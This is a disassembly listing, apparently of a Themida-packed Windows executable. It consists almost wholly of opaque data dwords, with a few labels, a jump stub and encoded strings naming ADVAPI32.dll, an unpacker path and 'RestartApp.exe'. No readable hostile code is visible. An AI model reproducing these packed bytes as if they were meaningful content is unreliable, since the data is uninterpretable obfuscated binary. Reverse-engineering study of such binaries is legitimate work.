		dd 0C4011F8h, 71219C54h, 0AC5754BBh, 0E9280048h, 4C5A1B2Bh
		dd 44FAEA1Ch, 0B656E9C0h, 7E6FB2Ch, 0A23A05B1h,	7BD841CBh
		dd 4337CD23h, 40A4C72Ch, 0F3729628h, 61626018h,	88376BDFh
		dd 3BCA6809h, 1CFC0420h, 63EAB840h, 38009B3Dh, 0CA82018Ah
		dd 441D006h, 0C6561F66h, 3E124098h, 24B6E56Dh, 495C5802h
		dd 0F84E8CA0h, 40B0B55h, 87E9E09Eh, 0B64EAEF0h,	39F4009h
		dd 0BE78F04Ch, 0D3C007B1h, 0C0538B52h, 3421A285h, 0FF11BA0Eh
		dd 0DF2B0076h, 4A06AFCCh, 480C20C5h, 6900F6D1h,	65D93F92h
		dd 19780Fh, 688FE061h, 0EFA614F5h, 81D44B5Ch, 8653E758h
		dd 0B024E6EEh, 307903BEh, 0E8250E46h, 0E05B9800h, 38F0CB6Ah
		dd 1B773A7h, 9E21C22Ah,	802025EFh, 0AB84BCE9h, 33058Ch
		dd 64B53CDAh, 0A1AE07EDh, 0E82CA898h, 4760788Bh, 2C66B3E1h
		dd 60D84663h, 0B9CA61DAh, 3F958480h, 0CF87BE9Fh, 0B7E91770h
		dd 935D10B5h, 25077704h, 0F1954D34h, 72EAA02Eh,	2D42FBDh
		dd 0A88F40C9h, 0F5602C0Eh, 0AF0C3584h, 1124ABB2h, 73D07BEh
		dd 0E0EAF91Fh, 2568A6AEh, 0D5500F03h, 1E2F17h, 0DC031CB6h
		dd 4C852DFAh, 0FA0E3326h, 27F5FD06h, 0CB8B0149h, 45DCF42Ah
		dd 7B596006h, 32DA9502h, 0C0EAB5B1h, 37CE207Fh,	0E030FEBDh
		dd 98D1133h, 2F6F6B00h,	40384A7Ah, 785BF2D7h, 140B81Fh
		dd 0F635700Eh, 0D4CA3E8Ch, 0F21BD3D8h, 0E0E8D6BEh, 1C685764h
		dd 66B949h, 2B142AFAh, 6D04F4EAh, 0B20AA887h, 0B0633B41h
		dd 0A71DDC0Ch, 5C0C0D54h, 2A1B36F0h, 0E798F7AFh, 0D96F0ED0h
		dd 93C80141h, 142C9BD5h, 0F2A84733h, 0B4A09E4Ch, 0EB5EDF98h
		dd 0FF6E413Ch, 26AB1115h, 7B490624h, 1F1F3BCh, 5C943348h
		dd 20C4049Fh, 4104380Eh, 0CA655BCh, 9DC71280h, 22C21CFDh
		dd 0A8D0D9A5h, 165139Bh, 1F3F418h, 0D4710B10h, 9667BC1Eh
		dd 0C4567F20h, 6A080E69h, 5B20CADAh, 8C92C382h,	0B3A60D03h
		dd 0E83BE8D3h, 0DD9935A8h, 835C4359h, 0C609BD1h, 2E3615F8h
		dd 636A003Bh, 1621CD1Dh, 4B48142Fh, 0B42B156Fh,	31227670h
		dd 984C2AF6h, 8A3B008Ch, 70C14F18h, 3A0E5882h, 0C05F1152h
		dd 309D7B2Fh, 235418B4h, 9A6F0817h, 3C8B6103h, 0D9C32A7h
		dd 0A4702A99h, 0CBC4F069h, 0CF52AE00h, 0F6CA6602h, 0BD29DE9Eh
		dd 0FE5FA80h, 157FF859h, 6E66D02h, 83CDB723h, 1B2E5620h
		dd 0B1C7BC31h, 65E1FFD0h, 88E9201h, 86580CECh, 19B34E0h
		dd 96615725h, 48B726F0h, 0B500C744h, 632AC951h,	1E532EBAh
		dd 3F0D357h, 50FFAFF3h,	84A11CA2h, 809337F6h, 6B26B830h
		dd 485435BCh, 150064D4h, 9F1CA8A2h, 240345D5h, 1F365D3Bh
		dd 0A9E32Ah, 14C6AF71h,	0E70C283Ch, 0F122CB00h,	418F568Bh
		dd 0C980EDBEh, 0BE48A86h, 47009B0Eh, 9A4C6E0h, 3B1B51h
		dd 3565BB71h, 34F0B7C4h, 0CD0A4AE8h, 88260BA8h,	15402F44h
		dd 717D0932h, 541C6703h, 0F8813D4Fh, 0FD194Ah, 0CC760FBEh
		dd 8315F36Ah, 331DE1C0h, 317D8F68h, 0DA4908BCh,	0FE7AE48Dh
		dd 80BA0600h, 6F3D50C4h, 0F2D1FC08h, 5AEC09A0h,	3807C324h
		dd 0B9DA4257h, 6F004844h, 0D040BC68h, 5ED2F79h,	54D1E786h
		dd 5E3000BEh, 3465139h,	8040143Ch, 6F5D9BFCh, 133CDD6h
		dd 0A8F66525h, 50934DC5h, 84EBF5C4h, 0B2300705h, 0BC0AC36Eh
		dd 0B88910EAh, 81D50074h, 13B543F5h, 0B09969h, 610326AFh
		dd 2512DA10h, 2832FA7Ah, 0F1BD22FFh, 8A62E120h,	0E026C0BEh
		dd 0F7887CE5h, 3C75B00Fh, 0A69B801Bh, 0C122BD5Dh, 319AC331h
		dd 13F02A3Eh, 574E1475h, 0D33FC351h, 0ADA30272h, 0D443AADEh
		dd 8566C040h, 46178E00h, 3BC0710Dh, 50FE260Bh, 1AC4070Ch
		dd 0BC11E2C8h, 45A93081h, 4F96209Dh, 3C90E772h,	0FE551B09h
		dd 0D5870016h, 168CB4EFh, 20F5EE6Ch, 0BFD39808h, 11F4E3Ah
		dd 0A49CB285h, 0B8C3F525h, 78AA22h, 675F700Ch, 57C835BFh
		dd 0A9A180C0h, 6034A891h, 6B2A4996h, 2F02DBC5h,	73509E1Ah
		dd 1EA460CAh, 0B3B1333Ch, 0E1F06A29h, 62009132h, 0DC374573h
		dd 38403A20h, 0AF81EB8Ah, 2BEF6E1Ah, 0DED8ED14h, 0F74ABC40h
		dd 7A003CB1h, 3D59CF06h, 14EA3011h, 0D1D51296h,	0F8543A60h
		dd 0E459Bh, 0A4E88DB7h,	0F618BD46h, 0FD419860h,	0F9C87Bh
		dd 0FA92FE4Eh, 0DD02465h, 1D6CE81Fh, 994D927Ah,	3C831440h
		dd 9852FB2Dh, 3728016Eh, 25A0A917h, 0FEE0C207h,	8E48B6AFh
		dd 0F36F0930h, 3794111Dh, 888A3820h, 710022C7h,	0DD83D686h
		dd 104B35Ah, 35B8C26Ch,	8F924CF5h, 0BC55BD29h, 0E2A1DE80h
		dd 5A738Dh, 47743522h, 1ACAD09Dh, 0C3B4F900h, 76F33AE8h
		dd 471C181h, 0D51636D1h, 80E9BC2Bh, 0BAA9C050h,	56AA88h
		dd 0E07AFC0Dh, 1CA7E5E3h, 0BF85D59h, 80421E14h,	0B43E6817h
		dd 283749A4h, 0C1C50176h, 708FAF3Bh, 0B90DE48Bh, 0FF619F60h
		dd 7A2BDB4Ah, 0B6390032h, 0BE785713h, 0B1181D6Dh, 892897B4h
		dd 0D9FB00F2h, 823E9021h, 0A5004973h, 0F34D25F1h, 3A1ECBB7h
		dd 31E0B04Bh, 0CCD6FEDCh, 0E3CA53Ah, 44682058h,	0BC8C9C26h
		dd 3D110045h, 8BD4F4BAh, 0D7004C3Ah, 0B0151C01h, 0AA4070h
		dd 9F9CF63Ch, 2E7694A5h, 80E5CD01h, 0C8D882B7h,	60AAB970h
		dd 4D8D20ABh, 7D01071Fh, 0D854DF5Dh, 30205AD5h,	49440088h
		dd 2D65745Ch, 51C016E7h, 4C4D6FBAh, 178D004Fh, 9E4673DEh
		dd 0F10057C9h, 0E701D902h, 14A9960h, 3AECD169h,	806156BDh
		dd 0E7499471h, 0A0AAE147h, 0EC7D5A5h, 171F35AEh, 7598B4C0h
		dd 33007C4Dh, 122FCD45h, 30C699DAh, 541B1A9h, 0FC0CCB9Bh
		dd 4940E6BAh, 38823B20h, 0A38C0575h, 80AD6BECh,	39E6C759h
		dd 0A19939C0h, 0A6B963h, 1B95B238h, 47DDB5D1h, 96BB6900h
		dd 0D4E3B72Eh, 568308E7h, 3F87AD46h, 684C521Eh,	0A0C800E3h
		dd 293B9E27h, 0CA1813B5h, 0AA2890CCh, 0FFBD0022h, 36589F15h
		dd 19C392D1h, 9027034Dh, 0EC8E419h, 0E6C63B44h,	4AD0617Bh
		dd 2A00AE83h, 0D89AF864h, 336CDFEh, 3026E6E8h, 0BE04E33h
		dd 630CA59Eh, 595BD284h, 10870041h, 1D33DDF7h, 6638E0FCh
		dd 4CE615EAh, 0D5C008Ch, 2470578Eh, 8D3300ECh, 6B080359h
		dd 70BFA651h, 0DB3F3BCAh, 7166E160h, 1E7BF5EBh,	0C1F8173h
		dd 0F48FD863h, 6FC82F6Ch, 0EC0A028h, 1A6A23Dh, 2ED6614Dh
		dd 80AC5859h, 7C3160D0h, 781452Fh, 7EBEBDF1h, 21B8BF8Bh
		dd 5D008AAEh, 0E5658C46h, 938623h, 0F6A926CEh, 9136F1Eh
		dd 0A43E97E4h, 69E9E030h, 0A3F1165Ch, 37D91EE6h, 656AC301h
		dd 60E741DFh, 5E584233h, 0C83AC000h, 0C9293D04h, 0D3A72907h
		dd 77B50398h, 1ED85551h, 3A0231BAh, 69C77D47h, 58526009h
		dd 0A95962D8h, 0D0A3B8E5h, 68C844D5h, 9582505h,	53C400B4h
		dd 98E719D2h, 4510078h,	1E503F0Eh, 640CFF01h, 0A89FC058h
		dd 0E01D00A5h, 5B156068h, 10CF47Eh, 0C9C06FE1h,	823D03A5h
		dd 0B024577Fh, 133F7114h, 1B5682C8h, 0C00C80C4h, 28B53403h
		dd 0A20CF6Fh, 0C3587227h
		dd 43F98038h, 6915B4B7h, 4857673Dh, 8BCF2EC4h, 0E9C70B00h
		dd 0CF9AD2Bh, 90BA5879h, 2B8A339h, 4900EA7Ch, 333FF882h
		dd 0E1D8E4C7h, 0BADF488Ah, 979307C4h, 8E83F8E6h, 0E0F370E2h
		dd 1130D1h, 97A1A538h, 759B99D8h, 0E3400606h, 75314EEDh
		dd 46CE0921h, 450066C8h, 154B87EEh, 81198801h, 0AFE6F8B6h
		dd 654DF180h, 8A5B376Fh, 1427A400h, 7C6E6353h, 9D8706FDh
		dd 0A8BE58ECh, 0BDAE3Ah, 277E0668h, 0C541EF8h, 8F21DD03h
		dd 60268020h, 148340A3h, 0B8A8F78Ah, 0C84D3Eh, 209D89BDh
		dd 0AF1F2583h, 939B7900h, 91A1A4C5h, 723638E3h,	1148F124h
		dd 21F0A9Ch, 6309FCB8h,	8C8C90BBh, 0C83D0069h, 0EF67114Dh
		dd 37725A39h, 1BF78B01h, 10DB4BC2h, 541CA020h, 2625F053h
		dd 618848A9h, 0E49A9258h, 9E002F63h, 0B2AEE1Eh,	66E1C7Dh
		dd 0E69509A9h, 20071AEh, 5552EAA3h, 12B201h, 0BFB811B1h
		dd 0ACD65884h, 3CE5F1C6h, 23A10031h, 857B9552h,	8C00EBB9h
		dd 0EAC636C9h, 742AADD9h, 0DF100F2Bh, 0A443CBC5h, 0F10185B9h
		dd 0E7D8D0F5h, 0A98248EDh, 67131150h, 0B13350E0h, 7142AB01h
		dd 0E723CF03h, 0E49F1BF0h, 0BE40207h, 0A9C5A708h, 0D581EC90h
		dd 0A655D92Ch, 0FCF4DC03h, 0FAE6040Ch, 8C275768h, 984D884h
		dd 584A6FF8h, 730A9C18h, 0F0F07E26h, 8056D063h,	13413EDh
		dd 68FD50C8h, 201877DEh, 990C1E5Ch, 419ED158h, 11A2093Ah
		dd 0AC0E3487h, 0DC02F7A9h, 3A209AB9h, 3A7CC529h, 0E400336Bh
		dd 0A7426D1Eh, 18B04988h, 58B43Dh, 7E915F63h, 3FC0C57h
		dd 0AFEF25B6h, 0A9014AE6h, 2B9BF519h, 3DCA3E3h,	0C351009Dh
		dd 0DE026F04h, 29C043EDh, 52B715DFh, 69A40796h,	40D8E395h
		dd 3A1A5682h, 90D1E1C9h, 163364h, 0B72F5E0Dh, 0C17CD14h
		dd 58A74E04h, 60D0A627h, 0CF8946A3h, 0E0201E31h, 1B83326Ah
		dd 0CD2858E8h, 9C04749Dh, 33A4CC84h, 7A0B8D8h, 0EAECF705h
		dd 535E00E0h, 3A0C1E66h, 0C276F3Fh, 47E5006Bh, 0C5B63DF3h
		dd 7E504A01h, 9D3DB494h, 7F79827Bh, 844919F1h, 0A34A9BACh
		dd 0D0094034h, 7207CBE3h, 4992F7A2h, 2660FB00h,	4814F8E7h
		dd 0C48E0C6h, 93AF604h,	0C508927Dh, 8C21FEC2h, 0F455AB8Bh
		dd 0CF00E403h, 0FDAC9813h, 980C6E6Ah, 449C1664h, 6CD40882h
		dd 0C7D2808Ah, 0DF551600h, 0E97A751h, 2DEEB888h, 0A38F54A7h
		dd 4D923F06h, 1EE3D0A0h, 0A108B2CDh, 124F2E88h,	0B4481473h
		dd 403BBC84h, 36406A1Eh, 39AE0003h, 271B389Eh, 0B22E2285h
		dd 4ACC0D6h, 5701043Ah,	504FC71Fh, 5301CEA9h, 2046611Eh
		dd 0F0261001h, 4A60105Ah, 7B27E9h, 2A1691C7h, 50BEDCA7h
		dd 0A952D04h, 5C807F68h, 4C3F4698h, 0B209FC4Fh,	0C403EE35h
		dd 0B82C8724h, 0B50254DBh, 0A0A38E12h, 5954EE5Ch, 0EF90F6h
		dd 0FF26EC7Fh, 8C6719A0h, 0E6F06250h, 31000099h, 7EA44FEAh
		dd 17A709E8h, 0D1005E7Dh, 0A1D83675h, 3810C402h, 0E4255766h
		dd 0E42A02FCh, 8DD13E5Eh, 1AF8C4A0h, 9C0044DBh,	3FC752ECh
		dd 0A1A3B2h, 8091224Ch,	506B4704h, 1930B498h, 0F1CDD048h
		dd 0A2602495h, 920C8774h, 5078213Ah, 0E072D928h, 0CC525311h
		dd 0FBFFFF01h, 60h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AECA:				; CODE XREF: Themida_:loc_4E0265j
					; DATA XREF: Themida_:loc_4E0086o
		jmp	loc_54E3C3
; ---------------------------------------------------------------------------
		db 0Fh
		dd 1B1CF2h, 9C000000h, 8A163h, 0
		dd 0D1000000h, 58079Fh,	5 dup(0)
		dd 1000000h, 28000000h,	5847h, 0
		dd 6A000000h, 77D4C9h, 3 dup(0)
		dd 37000000h, 588Dh, 0DE000000h, 99005BBBh, 77E7A0h, 3 dup(0)
		dd 0E8000000h, 77E82Fh,	52000000h, 5845h, 0C8000000h, 0FFA736h
		dd 0F000000h, 0A3A0h, 5	dup(0)
		dd 4000000h, 687FFE03h,	0E800A415h, 77E82Fh, 23000000h
		dd 16FF5C96h, 5902h, 21000000h,	0DD005CF8h, 0A369h, 0Ah	dup(0)
		dd 0D1000000h, 7, 7 dup(0)
		dd 0C9000000h, 5AACh, 2	dup(0)
		dd 0F1000000h, 0FF5C5Fh
		public start
start		dd 91000000h, 0BB000000h, 0BBh,	0
		dd 2B000000h, 0F677F51Bh, 0FFA3E3h, 4 dup(0)
		dd 4000000h, 5 dup(0)
		dd 86000000h, 377E7C4h,	0D57FFE03h, 36F70Bh, 0Dh dup(0)
		dd 4000000h, 7FFE03h, 54000000h, 92000010h, 0D7028F07h
		dd 77F512h, 3 dup(0)
		dd 4000000h, 7FFE03h, 5	dup(0)
		dd 0A3000000h, 0F397A8h, 0B9h dup(0)
		dd 0DE000000h, 5BBBh, 2	dup(0)
		dd 0F000000h, 0A3A0h, 3	dup(0)
		dd 1000000h, 8 dup(0)
		dd 38000000h, 0C4000064h, 0DD0012FFh, 0EF00A369h, 0FFA7C8h
		dd 2 dup(0)
		dd 0EB000000h, 2800A350h, 0F8005847h, 77E600h, 6 dup(0)
		dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 85h dup(0)
		dd 23000000h, 2BFF5C96h, 54C3h,	6 dup(0)
		dd 7C000000h, 72h, 3 dup(0)
		dd 24400h, 4 dup(0)
		dd 38000000h, 64h, 29000000h, 0A454C531h, 12FFh, 5 dup(0)
		dd 69000000h, 5BD7h, 3 dup(0)
		dd 0B4000000h, 2E7D3B0Fh, 5871h, 2 dup(0)
		dd 0D4000000h, 0
		dd 54000000h, 12FFh, 9D000000h,	0B3005AAEh, 0F40054BCh
		dd 7FEEFFh, 4 dup(0)
		dd 9F000000h, 1A6B25h, 3 dup(0)
		dd 98000000h, 3	dup(0)
		dd 0E8000000h, 12h, 0
		dd 38000000h, 11h dup(0)
		dd 22000000h, 5955h, 0
		dd 9C000000h, 8A163h, 0FF000000h, 0FFFFFFh, 2 dup(0)
		dd 62000000h, 5914h, 2 dup(0)
		dd 19000000h, 75B27h, 5	dup(0)
		dd 70000000h, 0B87FFE00h, 24C6Ch, 2 dup(0)
		dd 0A8000000h, 57E7h, 3	dup(0)
		dd 22000000h, 22222222h, 222222h, 0
		dd 0E5000000h, 8EE85Ah,	3 dup(0)
		dd 0FFFF01h, 0
		dd 80000000h, 0Eh, 0
		dd 74000000h, 67h, 28h dup(0)
		dd 71000000h, 5B31A18Dh, 52353h, 6 dup(0)
		dd 0BF000000h, 127FFEDBh, 80016Bh, 0
		align 8
		dd 0CA4409h, 96000000h,	1D005A67h, 798EF7h, 0
		dd 0E9000000h, 4777EBA6h, 4FFFFB7h, 7FFED0h, 0Dh dup(0)
		dd 83000000h, 0D0005B96h, 7667F5h, 8 dup(0)
		dd 63000000h, 77E779h, 2 dup(0)
		dd 0F000000h, 0BC00A3A0h, 0E8000000h, 5CFFh, 0
		dd 1E10h, 5 dup(0)
		dd 38000000h, 801D04h, 6 dup(0)
		dd 0F4000000h, 8005F6h,	0
		dd 0E7000000h, 5876h, 6	dup(0)
		dd 43000000h, 49575C3Ah, 574F444Eh, 79535C53h, 6D657473h
		dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Ah dup(0)
		dd 27000000h, 8Dh, 2 dup(0)
		dd 0D8000000h, 0C000066h, 7FFEFFh, 1Bh dup(0)
		dd 61000000h, 0BEC982h,	0
		dd 0D3000000h, 21h, 2 dup(0)
		dd 2F000000h, 0FD366955h, 77E7A5h, 0C000000h, 5BC8h, 6 dup(0)
		dd 4000000h, 7FFE03h, 4	dup(0)
		dd 68000000h, 0C428EAh,	2 dup(0)
		dd 84000000h, 67h, 5 dup(0)
		dd 82000000h, 77E78Bh, 6 dup(0)
		dd 11000000h, 111111h, 4 dup(0)
		dd 0DB000000h, 486EBA32h, 5AA8h, 0
		dd 32000000h, 445447h, 5Fh dup(0)
		dd 21000000h, 2B4190h, 1Eh dup(0)
		dd 71000000h, 31A18Dh, 2 dup(0)
		dd 3E000000h, 62701h, 3	dup(0)
		dd 3A000000h, 6005847h,	5307A4h, 6 dup(0)
		dd 9F000000h, 8F06FAh, 5 dup(0)
		dd 32000000h, 445447h, 0FD000000h, 0A40679DDh, 12FFh, 7	dup(0)
		dd 0FE000000h, 5769h, 3	dup(0)
		dd 0E8000000h, 5CFFh, 74000000h, 1C7190h, 3D000000h, 0A26659h
		dd 91000000h, 77E805h, 0
		dd 79000000h, 5D12h, 0C2000000h, 54F0h,	0Bh dup(0)
		dd 0BE000000h, 400002Ch, 7FFE03h, 2 dup(0)
		dd 0A1000000h, 5870D3h,	4 dup(0)
		dd 4DE0h, 2 dup(0)
		dd 99000000h, 0A394h, 3	dup(0)
		dd 77F500h, 6 dup(0)
		dd 0A8000000h, 2 dup(0)
		dd 5A000000h, 5A38h, 4 dup(0)
		dd 1000000h, 6 dup(0)
		dd 68000000h, 0A2B1h, 2	dup(0)
		dd 84000000h, 67h, 2 dup(0)
		dd 0DD000000h, 0A369h, 0
		dd 9C000000h, 2	dup(0)
		dd 0CF000000h, 54CBh, 4	dup(0)
		dd 7A000000h, 0FFA847h,	5 dup(0)
		dd 0DD000000h, 0A369h, 8 dup(0)
		dd 4000000h, 7FFE03h, 9	dup(0)
		dd 0E2000000h, 52DC6Ch,	0
		dd 5000000h, 660A2801h,	0D3FE2Ch, 0B7000000h, 77E77Ch
		dd 5 dup(0)
		dd 0CC000000h, 8 dup(0)
		dd 1D000000h, 309DF6h, 0Bh dup(0)
		dd 53000000h, 0A78Dh, 2	dup(0)
		dd 0A1000000h, 2E006B20h, 5871h, 16000000h, 0A573h, 4 dup(0)
		dd 80000000h, 0FFFF14h,	5 dup(0)
		dd 54000000h, 28146Dh, 4 dup(0)
		dd 53000000h, 5235FBh, 0
		dd 3E000000h, 77E600h, 3 dup(0)
		dd 94000000h, 5983h, 7 dup(0)
		dd 65000000h, 5C07h, 2 dup(0)
		dd 0FE000000h, 0B3A1h, 0
		dd 0A000000h, 0B200A38Ch, 4000598Ch, 76B41Bh, 2	dup(0)
		dd 0F1000000h, 0FF5C5Fh, 5 dup(0)
		dd 0D3000000h, 21h, 2 dup(0)
		dd 84000000h, 0A4000067h, 23h, 0B000000h, 0FF4A22h, 0
		dd 37000000h, 9C77E7A8h, 1D024C6Bh, 0DFh, 0
		dd 0D5000000h, 5862h, 2	dup(0)
		dd 28F00h, 3 dup(0)
		dd 0D8000000h, 4001h, 0
		dd 0F3000000h, 7A58AAh,	0
		dd 5B000000h, 0E800A391h, 0DD005CFFh, 0E8F97DFCh, 3, 0
		dd 16000000h, 5902h, 4 dup(0)
		dd 0F8000000h, 9324B6D2h, 652E88h, 6 dup(0)
		dd 10000000h, 82FFFFFFh, 77E78Bh, 7 dup(0)
		dd 0FF000000h, 7FFFFFh,	2 dup(0)
		dd 25E00h, 2 dup(0)
		dd 43000000h, 56h, 6 dup(0)
		dd 0E8000000h, 5CFFh, 1Bh dup(0)
		dd 0C8000000h, 9D000000h, 0FFFF87h, 0
		dd 0CF000000h, 54CBh, 0
		dd 0F8000000h, 3C0057E7h, 0FFFF92h, 8 dup(0)
		dd 0EF000000h, 0FFA7C8h, 0D8000000h, 24C6Ch, 0
		dd 0B4000000h, 5934h, 0D000000h, 0D78CC4h, 0F0000000h
		dd 0FFFFFEh, 4 dup(0)
		dd 0AC000000h, 7 dup(0)
		dd 1000000h, 2 dup(0)
		dd 84000000h, 67h, 5 dup(0)
		dd 54000000h, 150012FFh, 0
		dd 0D8000000h, 66h, 2 dup(0)
		dd 12000000h, 0D01A4BB2h, 1446h, 2 dup(0)
		dd 6A000000h, 0AA77D4C9h, 0B8B64404h, 0
		dd 11000000h, 5837h, 2 dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 0FF000000h, 0FFF7FFh, 0
		dd 14000000h, 0E00h, 0
		dd 39000000h, 1D109Ch, 9A000000h, 0D877DD18h, 1FFA7B8h
		dd 0
		dd 23000000h, 68005400h, 1200A432h, 8DAF1Bh, 7 dup(0)
		dd 0DD000000h, 2100A369h, 0FF5376h, 7 dup(0)
		dd 0FF000000h, 3173D3h,	0B5000000h, 0A477E75Ch,	23h, 2 dup(0)
		dd 0E0000000h, 0CA39FA60h, 0B1B1h, 0
		dd 47000000h, 0FFFFB7h,	4 dup(0)
		dd 0DF000000h, 0A9C530h, 3 dup(0)
		dd 0C8000000h, 9F79Eh, 0
		dd 0D8000000h, 0FFFFB8h, 0
		dd 23000000h, 5800h, 2 dup(0)
		dd 20000000h, 5964h, 96000000h,	0A96462AEh, 0B0h, 2 dup(0)
		dd 0E9000000h, 400h, 5 dup(0)
		dd 0DD000000h, 0A369h, 5 dup(0)
		dd 0B000000h, 5C2Ch, 3 dup(0)
		dd 50000000h, 0FFFF96h,	32000000h, 2F8148h, 2 dup(0)
		dd 0C8000000h, 405DB3Ah, 7FFE03h, 0
		dd 12000000h, 232F8100h, 5800h,	15000000h, 5B8Fh, 0C2000000h
		dd 0D808AC86h, 4001h, 8	dup(0)
		dd 0AF000000h, 0Eh dup(0)
		dd 4000000h, 0A4005803h, 0
		dd 53000000h, 2B005991h, 54C3h,	0C4000000h, 2 dup(0)
		dd 0F7000000h, 54C4h, 0
		dd 51000000h, 0FFA2FAh,	2 dup(0)
		dd 0A000000h, 63A878h, 5 dup(0)
		dd 6A000000h, 77D4C9h, 7 dup(0)
		dd 62000000h, 5933h, 5 dup(0)
		dd 47000000h, 4005954h,	7FFE03h, 4 dup(0)
		dd 0AF000000h, 0F00585Fh, 0A3A0h, 0
		dd 0BD000000h, 47FFFFA9h, 0E7FFFFB7h, 0A7A5h, 0FC000000h
		dd 7 dup(0)
		dd 0DF000000h, 0A9C530h, 0Dh dup(0)
		dd 11000000h, 0FCB8EC57h, 8001FCh, 3 dup(0)
		db 0CCh
		db 3, 2	dup(0)
		dd 5 dup(0)
		dd 5B000000h, 810054D2h, 582081h, 6 dup(0)
		dd 77E600h, 0
		dd 77F500h, 93000000h, 0A393h, 3 dup(0)
		dd 77D400h, 3 dup(0)
		dd 8B000000h, 3005CE7h,	37005CC2h, 0A39Ch, 2 dup(0)
		dd 63000000h, 54DBh, 0
		dd 0E8000000h, 7900000Ah, 5D12h, 2 dup(0)
		dd 68000000h, 77E83Eh, 0
		dd 80000000h, 2	dup(0)
		dd 0FC000000h, 771A63h,	0EB000000h, 1C8F4Fh, 0Eh dup(0)
		dd 2B000000h, 0B00054C3h, 233FFh, 3 dup(0)
		dd 51000000h, 0FE2B8h, 4 dup(0)
		dd 0E1000000h, 228CDEECh, 4 dup(0)
		dd 0FC000000h, 0B2h, 0
		dd 4000000h, 7FFE03h, 0
		dd 21000000h, 5CF8h, 6 dup(0)
		dd 15000000h, 1C5h, 7 dup(0)
		dd 28000000h, 5847h, 5 dup(0)
		dd 0E8000000h, 5CFFh, 5	dup(0)
		dd 0F0000000h, 0FF77DD59h, 0FFFFFFh, 0
		dd 9000000h, 5889h, 84000000h, 67h, 54000000h, 696D6568h
		dd 6164h, 1Dh dup(0)
		dd 23000000h, 0FF5C96h,	8A000000h, 5856h, 62000000h, 5A4Eh
		dd 0FF000000h, 0FFFFFFh, 0C000000h, 0B0024400h,	0D00233FFh
		dd 0
		dd 0E8000000h, 0Ah, 2 dup(0)
		dd 0AB000000h, 54C5h, 2	dup(0)
		dd 1000000h, 4000000h, 7FFE03h,	0
		dd 77E600h, 0
		dd 65000000h, 77BFEDh, 9 dup(0)
		dd 1F000000h, 173FFh, 80000000h, 5004h,	3 dup(0)
		dd 43000000h, 56h, 7 dup(0)
		dd 0E8000000h, 10h, 44000000h, 77E7A1h,	2 dup(0)
		dd 4000000h, 7FFE03h, 0Ah dup(0)
		dd 48000000h, 0A42B00h,	8 dup(0)
		dd 37000000h, 588Dh, 8 dup(0)
		dd 44000000h, 0C246DAh,	0
		dd 21000000h, 8A1F4h, 45000000h, 0A331h, 4 dup(0)
		dd 72000000h, 5BE1h, 2B77DD00h,	5962h, 96000000h, 0DFFC23h
		dd 0E8000000h, 5CFFh, 0B100h, 4	dup(0)
		dd 3F000000h, 0C177E7A1h, 5973h, 2 dup(0)
		dd 0E9000000h, 0A4000400h, 0D3000023h, 0B2D4C4h, 2 dup(0)
		dd 4A000000h, 583Bh, 57000000h,	5AE1h, 0Fh dup(0)
		dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 2 dup(0)
		dd 27000000h, 10059F8h,	0Ch dup(0)
		dd 3E000000h, 0A400A200h, 23h, 84h dup(0)
		dd 0A8000000h, 7B000000h, 5835h, 0Ch dup(0)
		dd 4000000h, 0FFFF98h, 7 dup(0)
		dd 1000000h, 0
		dd 380h, 0
		dd 1000000h, 0
		dd 0A5000000h, 97D8Eh, 2 dup(0)
		dd 54000000h, 12FFh, 0
		dd 28000000h, 1005847h,	6 dup(0)
		dd 19000000h, 5B90h, 3 dup(0)
		dd 6000000h, 0A277E6D7h, 920000B2h, 0A322h, 0
		dd 0F000000h, 0FFFA35h,	0FC000000h, 8001FCh, 0Fh dup(0)
		dd 0C7000000h, 0EC2C27h, 2 dup(0)
		dd 0B5000000h, 77E75Ch,	5 dup(0)
		dd 0F0000000h, 2F5352h,	0Ah dup(0)
		dd 23000000h, 5C00h, 36000000h,	37363636h, 78618Dh, 4000000h
		dd 2 dup(0)
		dd 0D8000000h, 89h, 3 dup(0)
		dd 73000000h, 5A42h, 0
		dd 0FD000000h, 180059C0h, 77E806h, 4 dup(0)
		dd 4000000h, 7FFE03h, 0Fh dup(0)
		dd 1000000h, 2 dup(0)
		dd 3C000000h, 5912h, 0
		dd 1D000000h, 0A005955h, 0A38Ch, 0
		dd 0D8000000h, 2877E805h, 5847h, 84000000h, 67h, 0
		dd 10000000h, 0BA000001h, 0F4BB9D69h, 6Fh, 9 dup(0)
		dd 27000000h, 8Dh, 20000000h, 5964h, 4 dup(0)
		dd 68000000h, 77E821h, 0AF000000h, 38C00Fh, 5E000000h
		dd 77E7ACh, 0Dh	dup(0)
		dd 0B0000000h, 5869h, 0
		dd 0B2000000h, 0B979h, 0
		dd 19000000h, 6	dup(0)
		dd 0CB000000h, 5974h, 0E8000000h, 158h,	4 dup(0)
		dd 27000000h, 0BE871Bh,	0
		dd 0F0000000h, 12FEh, 11h dup(0)
		dd 3A000000h, 9388CBh, 1A000000h, 1DC027h, 3 dup(0)
		dd 0DD000000h, 0A369h, 0Fh dup(0)
		dd 0D8000000h, 1B207034h, 7C5749h, 3 dup(0)
		dd 0DD0h, 0
		dd 0EA000000h, 5C29h, 27h dup(0)
		dd 4000000h, 7FFE03h, 0A6000000h, 66h, 0A200h, 2B000000h
		dd 54C3h, 2 dup(0)
		dd 32000000h, 59FFh, 2 dup(0)
		dd 0A4000000h, 23h, 80000000h, 77E841h,	5B000000h, 3, 2	dup(0)
		dd 94000000h, 5869h, 2 dup(0)
		dd 30221501h, 0A0000056h, 8A000003h, 5856h, 7 dup(0)
		dd 0EF000000h, 44FFFF7Fh, 2877E7A1h, 5847h, 0
		dd 0EB000000h, 5CDEh, 0
		dd 0C4000000h, 9C00A370h, 24C6Bh, 84000000h, 78000067h
		dd 5C29h, 1000000h, 4 dup(0)
		dd 76000000h, 0FFA7A9h,	0D7000000h, 9C005952h, 0F108A163h
		dd 0FF5C5Fh, 3 dup(0)
		dd 0D8000000h, 4001h, 0DD000000h, 7FA769h, 4 dup(0)
		dd 0E8000000h, 0A423h, 0
		dd 0EB000000h, 3E0843h,	0
		dd 21000000h, 0FE6AA161h, 5FFFh, 7 dup(0)
		dd 82000000h, 54E9h, 9 dup(0)
		dd 5F000000h, 2AFF4Ah, 63000000h, 77E779h, 2 dup(0)
